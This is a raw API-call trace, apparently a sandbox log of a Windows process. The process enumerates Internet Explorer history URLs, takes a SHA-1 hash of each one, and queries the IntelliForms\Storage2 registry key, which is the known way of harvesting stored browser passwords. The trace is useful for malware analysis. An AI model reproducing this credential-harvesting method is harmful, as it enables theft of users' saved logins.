[0097.085] lstrlenW (lpString="90") returned 2 [0097.085] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.085] lstrcpyW (in: lpString1=0x72912f0, lpString2="7AAA1DC82D05C0E1E8C18C" | out: lpString1="7AAA1DC82D05C0E1E8C18C") returned="7AAA1DC82D05C0E1E8C18C" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C", lpString2="90" | out: lpString1="7AAA1DC82D05C0E1E8C18C90") returned="7AAA1DC82D05C0E1E8C18C90" [0097.085] LocalFree (hMem=0x7290b70) returned 0x0 [0097.085] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="10") returned 2 [0097.085] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90") returned 24 [0097.085] lstrlenW (lpString="10") returned 2 [0097.085] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.085] lstrcpyW (in: lpString1=0x7290b70, lpString2="7AAA1DC82D05C0E1E8C18C90" | out: lpString1="7AAA1DC82D05C0E1E8C18C90") returned="7AAA1DC82D05C0E1E8C18C90" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90", lpString2="10" | out: lpString1="7AAA1DC82D05C0E1E8C18C9010") returned="7AAA1DC82D05C0E1E8C18C9010" [0097.085] LocalFree (hMem=0x72912f0) returned 0x0 [0097.085] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0097.085] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C9010") returned 26 [0097.085] lstrlenW (lpString="1A") returned 2 [0097.085] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.085] lstrcpyW (in: lpString1=0x2815670, lpString2="7AAA1DC82D05C0E1E8C18C9010" | out: lpString1="7AAA1DC82D05C0E1E8C18C9010") returned="7AAA1DC82D05C0E1E8C18C9010" [0097.085] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C9010", lpString2="1A" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101A") returned="7AAA1DC82D05C0E1E8C18C90101A" [0097.086] LocalFree (hMem=0x7290b70) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101A") returned 28 [0097.086] lstrlenW (lpString="B6") returned 2 [0097.086] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.086] lstrcpyW (in: lpString1=0x2815a80, lpString2="7AAA1DC82D05C0E1E8C18C90101A" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101A") returned="7AAA1DC82D05C0E1E8C18C90101A" [0097.086] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101A", lpString2="B6" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6") returned="7AAA1DC82D05C0E1E8C18C90101AB6" [0097.086] LocalFree (hMem=0x2815670) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6") returned 30 [0097.086] lstrlenW (lpString="E4") returned 2 [0097.086] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.086] lstrcpyW (in: lpString1=0x2815670, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6") returned="7AAA1DC82D05C0E1E8C18C90101AB6" [0097.086] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6", lpString2="E4" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4" [0097.086] LocalFree (hMem=0x2815a80) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6E4") returned 32 [0097.086] lstrlenW (lpString="DA") returned 2 [0097.086] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.086] lstrcpyW (in: lpString1=0x2815a80, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6E4" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4" [0097.086] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4", lpString2="DA" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA" [0097.086] LocalFree (hMem=0x2815670) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6E4DA") returned 34 [0097.086] lstrlenW (lpString="1A") returned 2 [0097.086] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.086] lstrcpyW (in: lpString1=0x28e7670, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6E4DA" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA" [0097.086] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA", lpString2="1A" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A" [0097.086] LocalFree (hMem=0x2815a80) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A") returned 36 [0097.086] lstrlenW (lpString="9C") returned 2 [0097.086] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.086] lstrcpyW (in: lpString1=0x28e7910, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A" [0097.086] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A", lpString2="9C" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C" [0097.086] LocalFree (hMem=0x28e7670) returned 0x0 [0097.086] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.086] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C") returned 38 [0097.087] lstrlenW (lpString="DE") returned 2 [0097.087] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.087] lstrcpyW (in: lpString1=0x28e7670, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C" [0097.087] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9C", lpString2="DE" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE" [0097.087] LocalFree (hMem=0x28e7910) returned 0x0 [0097.087] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D3") returned 2 [0097.087] lstrlenW (lpString="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE") returned 40 [0097.087] lstrlenW (lpString="D3") returned 2 [0097.087] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.087] lstrcpyW (in: lpString1=0x28e7910, lpString2="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE" [0097.087] lstrcatW (in: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDE", lpString2="D3" | out: lpString1="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDED3") returned="7AAA1DC82D05C0E1E8C18C90101AB6E4DA1A9CDED3" [0097.087] LocalFree (hMem=0x28e7670) returned 0x0 [0097.087] CryptDestroyHash (hHash=0x4470a10) returned 1 [0097.087] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.087] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.087] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.087] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.087] LocalFree (hMem=0x28e7910) returned 0x0 [0097.087] CoTaskMemFree (pv=0x7183190) [0097.087] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.087] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif", lpSrch="?") returned 0x0 [0097.087] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.088] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.088] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif") returned 49 [0097.088] CryptHashData (hHash=0x4470cb0, pbData=0x4470a10, dwDataLen=0x64, dwFlags=0x0) returned 1 [0097.088] CryptGetHashParam (in: hHash=0x4470cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.088] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0097.088] lstrlenW (lpString="") returned 0 [0097.088] lstrlenW (lpString="62") returned 2 [0097.088] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7183190 [0097.088] lstrcpyW (in: lpString1=0x7183190, lpString2="" | out: lpString1="") returned="" [0097.088] lstrcatW (in: lpString1="", lpString2="62" | out: lpString1="62") returned="62" [0097.088] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.088] lstrlenW (lpString="62") returned 2 [0097.088] lstrlenW (lpString="A9") returned 2 [0097.088] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8e40 [0097.088] lstrcpyW (in: lpString1=0x28c8e40, lpString2="62" | out: lpString1="62") returned="62" [0097.088] lstrcatW (in: lpString1="62", lpString2="A9" | out: lpString1="62A9") returned="62A9" [0097.088] LocalFree (hMem=0x7183190) returned 0x0 [0097.088] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CB") returned 2 [0097.088] lstrlenW (lpString="62A9") returned 4 [0097.088] lstrlenW (lpString="CB") returned 2 [0097.088] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9020 [0097.088] lstrcpyW (in: lpString1=0x28c9020, lpString2="62A9" | out: lpString1="62A9") returned="62A9" [0097.088] lstrcatW (in: lpString1="62A9", lpString2="CB" | out: lpString1="62A9CB") returned="62A9CB" [0097.088] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.088] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="32") returned 2 [0097.088] lstrlenW (lpString="62A9CB") returned 6 [0097.089] lstrlenW (lpString="32") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8e40 [0097.089] lstrcpyW (in: lpString1=0x28c8e40, lpString2="62A9CB" | out: lpString1="62A9CB") returned="62A9CB" [0097.089] lstrcatW (in: lpString1="62A9CB", lpString2="32" | out: lpString1="62A9CB32") returned="62A9CB32" [0097.089] LocalFree (hMem=0x28c9020) returned 0x0 [0097.089] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0097.089] lstrlenW (lpString="62A9CB32") returned 8 [0097.089] lstrlenW (lpString="22") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9020 [0097.089] lstrcpyW (in: lpString1=0x28c9020, lpString2="62A9CB32" | out: lpString1="62A9CB32") returned="62A9CB32" [0097.089] lstrcatW (in: lpString1="62A9CB32", lpString2="22" | out: lpString1="62A9CB3222") returned="62A9CB3222" [0097.089] LocalFree (hMem=0x28c8e40) returned 0x0 [0097.089] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0097.089] lstrlenW (lpString="62A9CB3222") returned 10 [0097.089] lstrlenW (lpString="A7") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.089] lstrcpyW (in: lpString1=0x71cf460, lpString2="62A9CB3222" | out: lpString1="62A9CB3222") returned="62A9CB3222" [0097.089] lstrcatW (in: lpString1="62A9CB3222", lpString2="A7" | out: lpString1="62A9CB3222A7") returned="62A9CB3222A7" [0097.089] LocalFree (hMem=0x28c9020) returned 0x0 [0097.089] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0097.089] lstrlenW (lpString="62A9CB3222A7") returned 12 [0097.089] lstrlenW (lpString="62") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.089] lstrcpyW (in: lpString1=0x71cfb40, lpString2="62A9CB3222A7" | out: lpString1="62A9CB3222A7") returned="62A9CB3222A7" [0097.089] lstrcatW (in: lpString1="62A9CB3222A7", lpString2="62" | out: lpString1="62A9CB3222A762") returned="62A9CB3222A762" [0097.089] LocalFree (hMem=0x71cf460) returned 0x0 [0097.089] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.089] lstrlenW (lpString="62A9CB3222A762") returned 14 [0097.089] lstrlenW (lpString="3C") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.089] lstrcpyW (in: lpString1=0x71cf460, lpString2="62A9CB3222A762" | out: lpString1="62A9CB3222A762") returned="62A9CB3222A762" [0097.089] lstrcatW (in: lpString1="62A9CB3222A762", lpString2="3C" | out: lpString1="62A9CB3222A7623C") returned="62A9CB3222A7623C" [0097.089] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.089] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.089] lstrlenW (lpString="62A9CB3222A7623C") returned 16 [0097.089] lstrlenW (lpString="EC") returned 2 [0097.089] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.089] lstrcpyW (in: lpString1=0x71cfb40, lpString2="62A9CB3222A7623C" | out: lpString1="62A9CB3222A7623C") returned="62A9CB3222A7623C" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623C", lpString2="EC" | out: lpString1="62A9CB3222A7623CEC") returned="62A9CB3222A7623CEC" [0097.090] LocalFree (hMem=0x71cf460) returned 0x0 [0097.090] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0097.090] lstrlenW (lpString="62A9CB3222A7623CEC") returned 18 [0097.090] lstrlenW (lpString="B0") returned 2 [0097.090] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.090] lstrcpyW (in: lpString1=0x7290b70, lpString2="62A9CB3222A7623CEC" | out: lpString1="62A9CB3222A7623CEC") returned="62A9CB3222A7623CEC" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623CEC", lpString2="B0" | out: lpString1="62A9CB3222A7623CECB0") returned="62A9CB3222A7623CECB0" [0097.090] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.090] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.090] lstrlenW (lpString="62A9CB3222A7623CECB0") returned 20 [0097.090] lstrlenW (lpString="33") returned 2 [0097.090] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.090] lstrcpyW (in: lpString1=0x72912f0, lpString2="62A9CB3222A7623CECB0" | out: lpString1="62A9CB3222A7623CECB0") returned="62A9CB3222A7623CECB0" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623CECB0", lpString2="33" | out: lpString1="62A9CB3222A7623CECB033") returned="62A9CB3222A7623CECB033" [0097.090] LocalFree (hMem=0x7290b70) returned 0x0 [0097.090] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.090] lstrlenW (lpString="62A9CB3222A7623CECB033") returned 22 [0097.090] lstrlenW (lpString="74") returned 2 [0097.090] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.090] lstrcpyW (in: lpString1=0x7290b70, lpString2="62A9CB3222A7623CECB033" | out: lpString1="62A9CB3222A7623CECB033") returned="62A9CB3222A7623CECB033" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623CECB033", lpString2="74" | out: lpString1="62A9CB3222A7623CECB03374") returned="62A9CB3222A7623CECB03374" [0097.090] LocalFree (hMem=0x72912f0) returned 0x0 [0097.090] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0097.090] lstrlenW (lpString="62A9CB3222A7623CECB03374") returned 24 [0097.090] lstrlenW (lpString="ED") returned 2 [0097.090] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.090] lstrcpyW (in: lpString1=0x72912f0, lpString2="62A9CB3222A7623CECB03374" | out: lpString1="62A9CB3222A7623CECB03374") returned="62A9CB3222A7623CECB03374" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374", lpString2="ED" | out: lpString1="62A9CB3222A7623CECB03374ED") returned="62A9CB3222A7623CECB03374ED" [0097.090] LocalFree (hMem=0x7290b70) returned 0x0 [0097.090] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.090] lstrlenW (lpString="62A9CB3222A7623CECB03374ED") returned 26 [0097.090] lstrlenW (lpString="97") returned 2 [0097.090] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.090] lstrcpyW (in: lpString1=0x2815a80, lpString2="62A9CB3222A7623CECB03374ED" | out: lpString1="62A9CB3222A7623CECB03374ED") returned="62A9CB3222A7623CECB03374ED" [0097.090] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED", lpString2="97" | out: lpString1="62A9CB3222A7623CECB03374ED97") returned="62A9CB3222A7623CECB03374ED97" [0097.090] LocalFree (hMem=0x72912f0) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97") returned 28 [0097.091] lstrlenW (lpString="DC") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.091] lstrcpyW (in: lpString1=0x2815670, lpString2="62A9CB3222A7623CECB03374ED97" | out: lpString1="62A9CB3222A7623CECB03374ED97") returned="62A9CB3222A7623CECB03374ED97" [0097.091] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97", lpString2="DC" | out: lpString1="62A9CB3222A7623CECB03374ED97DC") returned="62A9CB3222A7623CECB03374ED97DC" [0097.091] LocalFree (hMem=0x2815a80) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC") returned 30 [0097.091] lstrlenW (lpString="7F") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.091] lstrcpyW (in: lpString1=0x2815a80, lpString2="62A9CB3222A7623CECB03374ED97DC" | out: lpString1="62A9CB3222A7623CECB03374ED97DC") returned="62A9CB3222A7623CECB03374ED97DC" [0097.091] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC", lpString2="7F" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F") returned="62A9CB3222A7623CECB03374ED97DC7F" [0097.091] LocalFree (hMem=0x2815670) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC7F") returned 32 [0097.091] lstrlenW (lpString="2A") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.091] lstrcpyW (in: lpString1=0x2815670, lpString2="62A9CB3222A7623CECB03374ED97DC7F" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F") returned="62A9CB3222A7623CECB03374ED97DC7F" [0097.091] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC7F", lpString2="2A" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2A") returned="62A9CB3222A7623CECB03374ED97DC7F2A" [0097.091] LocalFree (hMem=0x2815a80) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC7F2A") returned 34 [0097.091] lstrlenW (lpString="BB") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.091] lstrcpyW (in: lpString1=0x28e7910, lpString2="62A9CB3222A7623CECB03374ED97DC7F2A" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2A") returned="62A9CB3222A7623CECB03374ED97DC7F2A" [0097.091] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC7F2A", lpString2="BB" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABB") returned="62A9CB3222A7623CECB03374ED97DC7F2ABB" [0097.091] LocalFree (hMem=0x2815670) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC7F2ABB") returned 36 [0097.091] lstrlenW (lpString="F5") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.091] lstrcpyW (in: lpString1=0x28e7670, lpString2="62A9CB3222A7623CECB03374ED97DC7F2ABB" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABB") returned="62A9CB3222A7623CECB03374ED97DC7F2ABB" [0097.091] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABB", lpString2="F5" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF5") returned="62A9CB3222A7623CECB03374ED97DC7F2ABBF5" [0097.091] LocalFree (hMem=0x28e7910) returned 0x0 [0097.091] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.091] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC7F2ABBF5") returned 38 [0097.091] lstrlenW (lpString="9D") returned 2 [0097.091] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.092] lstrcpyW (in: lpString1=0x28e7910, lpString2="62A9CB3222A7623CECB03374ED97DC7F2ABBF5" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF5") returned="62A9CB3222A7623CECB03374ED97DC7F2ABBF5" [0097.092] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF5", lpString2="9D" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D") returned="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D" [0097.092] LocalFree (hMem=0x28e7670) returned 0x0 [0097.092] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0097.092] lstrlenW (lpString="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D") returned 40 [0097.092] lstrlenW (lpString="08") returned 2 [0097.092] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.092] lstrcpyW (in: lpString1=0x28e7670, lpString2="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D") returned="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D" [0097.092] lstrcatW (in: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D", lpString2="08" | out: lpString1="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D08") returned="62A9CB3222A7623CECB03374ED97DC7F2ABBF59D08" [0097.092] LocalFree (hMem=0x28e7910) returned 0x0 [0097.092] CryptDestroyHash (hHash=0x4470cb0) returned 1 [0097.092] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.092] LocalFree (hMem=0x28e7670) returned 0x0 [0097.092] CoTaskMemFree (pv=0x4470a10) [0097.092] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.092] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv", lpSrch="?") returned 0x0 [0097.092] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.093] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.093] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv") returned 51 [0097.093] CryptHashData (hHash=0x4470cb0, pbData=0x4470a10, dwDataLen=0x68, dwFlags=0x0) returned 1 [0097.093] CryptGetHashParam (in: hHash=0x4470cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, 